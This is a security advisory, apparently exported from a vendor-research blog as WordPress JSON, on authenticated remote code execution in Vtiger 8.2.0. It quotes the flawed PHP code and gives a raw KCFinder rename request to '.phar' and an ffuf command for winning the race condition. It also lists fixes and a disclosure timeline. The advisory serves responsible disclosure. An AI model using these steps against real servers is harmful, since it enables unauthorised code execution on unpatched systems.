{"id":23998,"date":"2025-06-06T09:11:16","date_gmt":"2025-06-06T07:11:16","guid":{"rendered":"https:\/\/herolab.usd.de\/?page_id=23998"},"modified":"2025-06-11T14:57:07","modified_gmt":"2025-06-11T12:57:07","slug":"usd-2024-0016","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2024-0016\/","title":{"rendered":"usd-2024-0016"},"content":{"rendered":"<p>[et_pb_section fb_built=\"1\" _builder_version=\"4.21.0\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\" global_colors_info=\"{}\"][et_pb_row _builder_version=\"4.25.2\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_column type=\"4_4\" _builder_version=\"4.21.0\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_text _builder_version=\"4.27.4\" _module_preset=\"default\" custom_padding=\"||13px|||\" hover_enabled=\"0\" global_colors_info=\"{}\" sticky_enabled=\"0\"]<\/p>\n<h1>usd-2024-0016 | Vtiger Open Source Edition 8.2.0 - Authenticated Remote Code Execution<\/h1>\n<h1><\/h1>\n<p><strong>Product<\/strong>: Vtiger<br \/>\n<strong>Affected Version<\/strong>: Open Source Edition 8.2.0<br \/>\n<strong>Vulnerability Type<\/strong>:Unrestricted Upload of File with Dangerous Type (CWE-434)<br \/>\n<strong>Security Risk<\/strong>: Critical<br \/>\n<strong>Vendor<\/strong>: Vtiger<br \/>\n<strong>Vendor URL<\/strong>: <a href=\"https:\/\/www.vtiger.com\/\" target=\"_blank\" rel=\"noopener\">https:\/\/www.vtiger.com\/<\/a><br \/>\n<strong>Vendor acknowledged vulnerability<\/strong>: Yes<br \/>\n<strong>Vendor Status<\/strong>: Fixed<br \/>\n<strong>CVE Number<\/strong>: Requested<br \/>\n<strong>CVE Link<\/strong>: Requested<\/p>\n<h3>Description<\/h3>\n<p>Vtiger Open Source Edition 8.2.0 allows low-privileged authenticated users to execute arbitrary code. The calendar module is vulnerable to a path traversal when creating short-lived temporary files. By winning a race condition, these files can be renamed due to an insufficient deny list and made executable, allowing the execution of arbitrary code. The default Docker image is vulnerable, as well as all systems that are configured to evaluate <strong>.phar<\/strong> files.<\/p>\n<h3>Proof of Concept<\/h3>\n<p>In summary, the vulnerability works as follows:<\/p>\n<ul>\n<li>A path-traversal vulnerability in the calendar module allows creating short-lived <strong>.ics<\/strong> files with attacker-controlled name and some content.<\/li>\n<li>An insufficient deny list for file extensions does not contain <strong>.phar<\/strong>, which is executed as PHP code by default in the official docker image.<\/li>\n<li>The rename operation needs to win a race condition to rename the <strong>.ics<\/strong> file before it is deleted again.<\/li>\n<\/ul>\n<p>Relevant source code is located in <strong>modules\/Calencar\/CalendarCommon.php<\/strong>:<\/p>\n<div class=\"codehilite\" style=\"background: #263238;color: #eff\">\n<pre style=\"line-height: 125%\"><span style=\"background: #263238\"><\/span><span class=\"x\" style=\"background: #263238\">function sendInvitation($inviteesid,$mode,$recordModel,$desc) {<\/span>\n<span class=\"x\" style=\"background: #263238\">    global $current_user,$mod_strings;<\/span>\n<span class=\"x\" style=\"background: #263238\">    require_once(\"vtlib\/Vtiger\/Mailer.php\");<\/span>\n<span class=\"x\" style=\"background: #263238\">    $invitees_array = explode(';',$inviteesid);<\/span>\n\n<span class=\"x\" style=\"background: #263238\">    if($desc['mode'] == 'edit') {<\/span>\n<span class=\"x\" style=\"background: #263238\">        $subject = vtranslate(\"LBL_UPDATED_INVITATION\", \"Calendar\").' : ';<\/span>\n<span class=\"x\" style=\"background: #263238\">    } else {<\/span>\n<span class=\"x\" style=\"background: #263238\">        $subject = vtranslate(\"LBL_INVITATION\", \"Calendar\").' : ';<\/span>\n<span class=\"x\" style=\"background: #263238\">    }<\/span>\n<span class=\"x\" style=\"background: #263238\">    $subject .= $recordModel-&gt;get('subject');<\/span>\n<span class=\"x\" style=\"background: #263238\">    $attachment = generateIcsAttachment($desc);<\/span>\n<span class=\"x\" style=\"background: #263238\">    foreach($invitees_array as $inviteeid) {<\/span>\n<span class=\"x\" style=\"background: #263238\">        if($inviteeid != '') {<\/span>\n<span class=\"x\" style=\"background: #263238\">            $description=getActivityDetails($desc,$inviteeid,\"invite\",$recordModel);<\/span>\n<span class=\"x\" style=\"background: #263238\">            $description = getMergedDescription($description, $recordModel-&gt;getId(), 'Events');<\/span>\n<span class=\"x\" style=\"background: #263238\">            $to_email = getUserEmailId('id',$inviteeid);<\/span>\n<span class=\"x\" style=\"background: #263238\">            $to_name = getUserFullName($inviteeid);<\/span>\n<span class=\"x\" style=\"background: #263238\">            $mail = new Vtiger_Mailer();<\/span>\n<span class=\"x\" style=\"background: #263238\">            $mail-&gt;IsHTML(true);<\/span>\n<span class=\"x\" style=\"background: #263238\">            $currentUserModel = Users_Record_Model::getCurrentUserModel();<\/span>\n<span class=\"x\" style=\"background: #263238\">            $userName = $currentUserModel-&gt;getName();<\/span>\n<span class=\"x\" style=\"background: #263238\">            $fromEmail = Emails_Record_Model::getFromEmailAddress();<\/span>\n<span class=\"x\" style=\"background: #263238\">            $mail-&gt;ConfigSenderInfo($fromEmail,$userName);<\/span>\n<span class=\"x\" style=\"background: #263238\">            $mail-&gt;Subject = $subject;<\/span>\n<span class=\"x\" style=\"background: #263238\">            $mail-&gt;Body = $description;<\/span>\n<span class=\"x\" style=\"background: #263238\">            $mail-&gt;AddAttachment($attachment, '', 'base64', 'text\/calendar');<\/span>\n<span class=\"x\" style=\"background: #263238\">            $mail-&gt;SendTo($to_email, decode_html($to_name), false, false, true);<\/span>\n<span class=\"x\" style=\"background: #263238\">        }<\/span>\n<span class=\"x\" style=\"background: #263238\">    }<\/span>\n<span class=\"x\" style=\"background: #263238\">    unlink($attachment);<\/span>\n\n<span class=\"x\" style=\"background: #263238\">}<\/span>\n<\/pre>\n<\/div>\n<p>The function triggers the generation of an ics file in Line 161 and, after sending it via email to invited users, deletes it in Line 180.<\/p>\n<pre class=\"codehilite\" style=\"line-height: 125%;background: #263238;color: #eff\">function generateIcsAttachment($record) {    \n   $fileName = str_replace(' ', '_', decode_html($record['subject']));    \n   $assignedUserId = $record['user_id'];    \n   $userModel = Users_Record_Model::getInstanceById($assignedUserId, 'Users');    \n   $userLabel = $userModel-&gt;entity-&gt;column_fields['userlabel'];    \n   $email = $userModel-&gt;entity-&gt;column_fields['email1'];    \n   $fp = fopen('test\/upload\/'.$fileName.'.ics', \"w\");    \n   fwrite($fp, \"BEGIN:VCALENDAR\\nVERSION:2.0\\nBEGIN:VEVENT\\n\");    \n   fwrite($fp, \"ORGANIZER;CN=\".$userLabel.\":MAILTO:\".$email.\"\\n\");    \n   fwrite($fp, \"DTSTART:\".date('Ymd\\THis\\Z', strtotime($record['st_date_time'])).\"\\n\");    \n   fwrite($fp, \"DTEND:\".date('Ymd\\THis\\Z', strtotime($record['end_date_time'])).\"\\n\");    \n   fwrite($fp, \"DTSTAMP:\".date('Ymd\\THis\\Z').\"\\n\");    \n   fwrite($fp, \"DESCRIPTION:\".$record['description'].\"\\nLOCATION:\".$record['location'].\"\\n\");    \n   fwrite($fp, \"STATUS:CONFIRMED\\nSUMMARY:\".$record['subject'].\"\\nEND:VEVENT\\nEND:VCALENDAR\");    \n   fclose($fp);    return 'test\/upload\/'.$fileName.'.ics';\n}<\/pre>\n<p>The function <strong>generateIcsAttachment<\/strong> is responsible for creating the ics file. It uses the subject of an event as part of the filename (c.f. Line 225) and uses it without validation or sanitization as file name in Line 230. Parts of the created file are controllable, e.g., via the <strong>description<\/strong> field in Line 236.<\/p>\n<p>In combination, this allows the creation of a short-lived <strong>.ics<\/strong> file with dangerous contents.<\/p>\n<p>A default installation of Vtiger contains KCFinder in version 2.21 at <strong>\/kcfinder\/browse.php<\/strong>. Among other functionality available to authenticated users, it allows renaming of files that are stored in its path. In the default docker installation, the controllable path is <strong>\/app\/test\/upload\/images<\/strong>.<\/p>\n<div class=\"codehilite\" style=\"background: #263238;color: #EFF\">\n<pre style=\"line-height: 125%\"><span style=\"background: #263238\"><\/span><span class=\"nf\" style=\"background: #263238;color: #82AAFF\">POST<\/span> <span class=\"nn\" style=\"background: #263238;color: #FFCB6B\">\/kcfinder\/browse.php?type=images&amp;lng=en&amp;act=rename<\/span> <span class=\"kr\" style=\"background: #263238;color: #BB80B3\">HTTP<\/span><span class=\"o\" style=\"background: #263238;color: #89DDFF\">\/<\/span><span class=\"m\" style=\"background: #263238;color: #F78C6C\">1.1<\/span><br \/><span class=\"na\" style=\"background: #263238;color: #BB80B3\">Host<\/span><span class=\"o\" style=\"background: #263238;color: #89DDFF\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #C3E88D\">localhost<\/span><br \/><span class=\"na\" style=\"background: #263238;color: #BB80B3\">Content-Type<\/span><span class=\"o\" style=\"background: #263238;color: #89DDFF\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #C3E88D\">application\/x-www-form-urlencoded<\/span><br \/><span class=\"na\" style=\"background: #263238;color: #BB80B3\">Content-Length<\/span><span class=\"o\" style=\"background: #263238;color: #89DDFF\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #C3E88D\">63<\/span><br \/><span class=\"na\" style=\"background: #263238;color: #BB80B3\">Cookie<\/span><span class=\"o\" style=\"background: #263238;color: #89DDFF\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #C3E88D\">PHPSESSID=[... REDACTED ...];<\/span>\n\n<span class=\"nt\" style=\"background: #263238;color: #FF5370\">dir<\/span><span class=\"o\" style=\"background: #263238;color: #89DDFF\">=<\/span><span class=\"s\" style=\"background: #263238;color: #C3E88D\">images<\/span><span class=\"p\" style=\"background: #263238;color: #89DDFF\">&amp;<\/span><span class=\"nt\" style=\"background: #263238;color: #FF5370\">file<\/span><span class=\"o\" style=\"background: #263238;color: #89DDFF\">=<\/span><span class=\"s\" style=\"background: #263238;color: #C3E88D\">Event.ics<\/span><span class=\"p\" style=\"background: #263238;color: #89DDFF\">&amp;<\/span><span class=\"nt\" style=\"background: #263238;color: #FF5370\">newName<\/span><span class=\"o\" style=\"background: #263238;color: #89DDFF\">=<\/span><span class=\"s\" style=\"background: #263238;color: #C3E88D\">Event.ics.phar<\/span><span class=\"p\" style=\"background: #263238;color: #89DDFF\">&amp;<\/span><span class=\"nt\" style=\"background: #263238;color: #FF5370\">something<\/span><span class=\"o\" style=\"background: #263238;color: #89DDFF\">=<\/span><span class=\"s\" style=\"background: #263238;color: #C3E88D\">FUZZ<\/span><br \/><\/pre>\n<\/div>\n<p>The HTTP request above renames <strong>Event.ics<\/strong> to <strong>Event.ics.phar<\/strong>. Most dangerous extensions are blocked, but <strong>.phar<\/strong> is not in the default deny list.<\/p>\n<p>Note that PHP does only execute one request in parallel for each session ID. Hence, the cookie session ID used in the request above should be used only for the rename operation and not reused for the event creation. Two different sessions by the same user work.<\/p>\n<p>In order to hit the race condition reliably, the rename operation can be performed in quick succession with <strong>ffuf --request Rename.req --request-proto http --input-cmd 'true' --input-num 100000 --fr 'Unknown error' -t 120<\/strong>.<\/p>\n<p>With <strong>ffuf<\/strong> running in the background, an event is created as shown in the following screenshot.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2025\/05\/EventCreate2.png\" width=\"1165\" height=\"1247\" alt=\"\" class=\"wp-image-23892 alignnone size-full\" srcset=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2025\/05\/EventCreate2.png 1165w, https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2025\/05\/EventCreate2-980x1049.png 980w, https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2025\/05\/EventCreate2-480x514.png 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1165px, 100vw\" \/><\/p>\n<p>The subject of the event specifies the path in which the temporary <strong>.ics<\/strong> file will be created. To create it inside the folder KCFinder is able to control, it suffices to place the file in the <strong>images<\/strong> directory. The description field contains the PHP code that will be executed.<\/p>\n<p>If the race condition is hit, the file is renamed as shown in the following screenshot. Winning the race condition worked first try in most attempts.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2025\/05\/PharFileCreated.png\" width=\"836\" height=\"264\" alt=\"\" class=\"wp-image-23896 alignnone size-full\" srcset=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2025\/05\/PharFileCreated.png 836w, https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2025\/05\/PharFileCreated-480x152.png 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) 836px, 100vw\" \/><\/p>\n<p>When opening the file, the PHP code is executed.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2025\/05\/PharExecuted.png\" width=\"1164\" height=\"383\" alt=\"\" class=\"wp-image-23894 alignnone size-full\" srcset=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2025\/05\/PharExecuted.png 1164w, https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2025\/05\/PharExecuted-980x322.png 980w, https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2025\/05\/PharExecuted-480x158.png 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1164px, 100vw\" \/><\/p>\n<h3>Fix<\/h3>\n<p>Multiple separate adjustments are recommended for an in-depth fix:<\/p>\n<ul>\n<ul>\n<li>The <strong>.phar<\/strong> extension should be added to the deny list.<\/li>\n<li>Execution of <strong>.phar<\/strong> files via the PHP interpreter should be disabled.<\/li>\n<li>The name of an event should not be used inside the path to store the <strong>.ics<\/strong> file. Instead, creating a proper temporary file is recommended.<\/li>\n<\/ul>\n<\/ul>\n<p>Users of Vtiger should upgrade to a patched version.<\/p>\n<h3>References<\/h3>\n<ul>\n<li><a href=\"https:\/\/www.vtiger.com\/open-source-crm\/download-open-source\/\" target=\"_blank\" rel=\"noopener\">https:\/\/www.vtiger.com\/open-source-crm\/download-open-source\/<\/a><\/li>\n<li><a href=\"https:\/\/hub.docker.com\/r\/vtigercrm\/vtigercrm-8.2.0\" target=\"_blank\" rel=\"noopener\">https:\/\/hub.docker.com\/r\/vtigercrm\/vtigercrm-8.2.0<\/a><\/li>\n<\/ul>\n<h3>Timeline<\/h3>\n<ul>\n<li><strong>2024-09-24:<\/strong> Initial contact request to Vtiger<\/li>\n<li><strong>2024-10-14:<\/strong> Sent reminder via email<\/li>\n<li><strong>2024-11-25:<\/strong> Sent follow up email and opened security issue on Vtiger's GitLab instance<\/li>\n<li><strong>2025-01-29:<\/strong> Received contact information for disclosing vulnerabilties<\/li>\n<li><strong>2025-01-29:<\/strong> Disclosed findings via provided contact address<\/li>\n<li><strong>2025-03-03:<\/strong> usd AG reviewed implementation of suggested fixes and provided further guidance to strengthen Vtiger's security<\/li>\n<li><strong>2025-06-02:<\/strong> This advisory is published<\/li>\n<\/ul>\n<h3>Credits<\/h3>\n<p>This security vulnerability was identified by Florian Dewald, Tim Kranz, and Ole Wagner of usd AG.[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>usd-2024-0016 | Vtiger Open Source Edition 8.2.0 - Authenticated Remote Code Execution Product: Vtiger Affected Version: Open Source Edition 8.2.0 Vulnerability Type:Unrestricted Upload of File with Dangerous Type (CWE-434) Security Risk: Critical Vendor: Vtiger Vendor URL: https:\/\/www.vtiger.com\/ Vendor acknowledged vulnerability: Yes Vendor Status: Fixed CVE Number: Requested CVE Link: Requested Description Vtiger Open Source Edition [&hellip;]<\/p>\n","protected":false},"author":114,"featured_media":0,"parent":16124,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"class_list":["post-23998","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/23998","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/114"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=23998"}],"version-history":[{"count":5,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/23998\/revisions"}],"predecessor-version":[{"id":24049,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/23998\/revisions\/24049"}],"up":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16124"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=23998"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}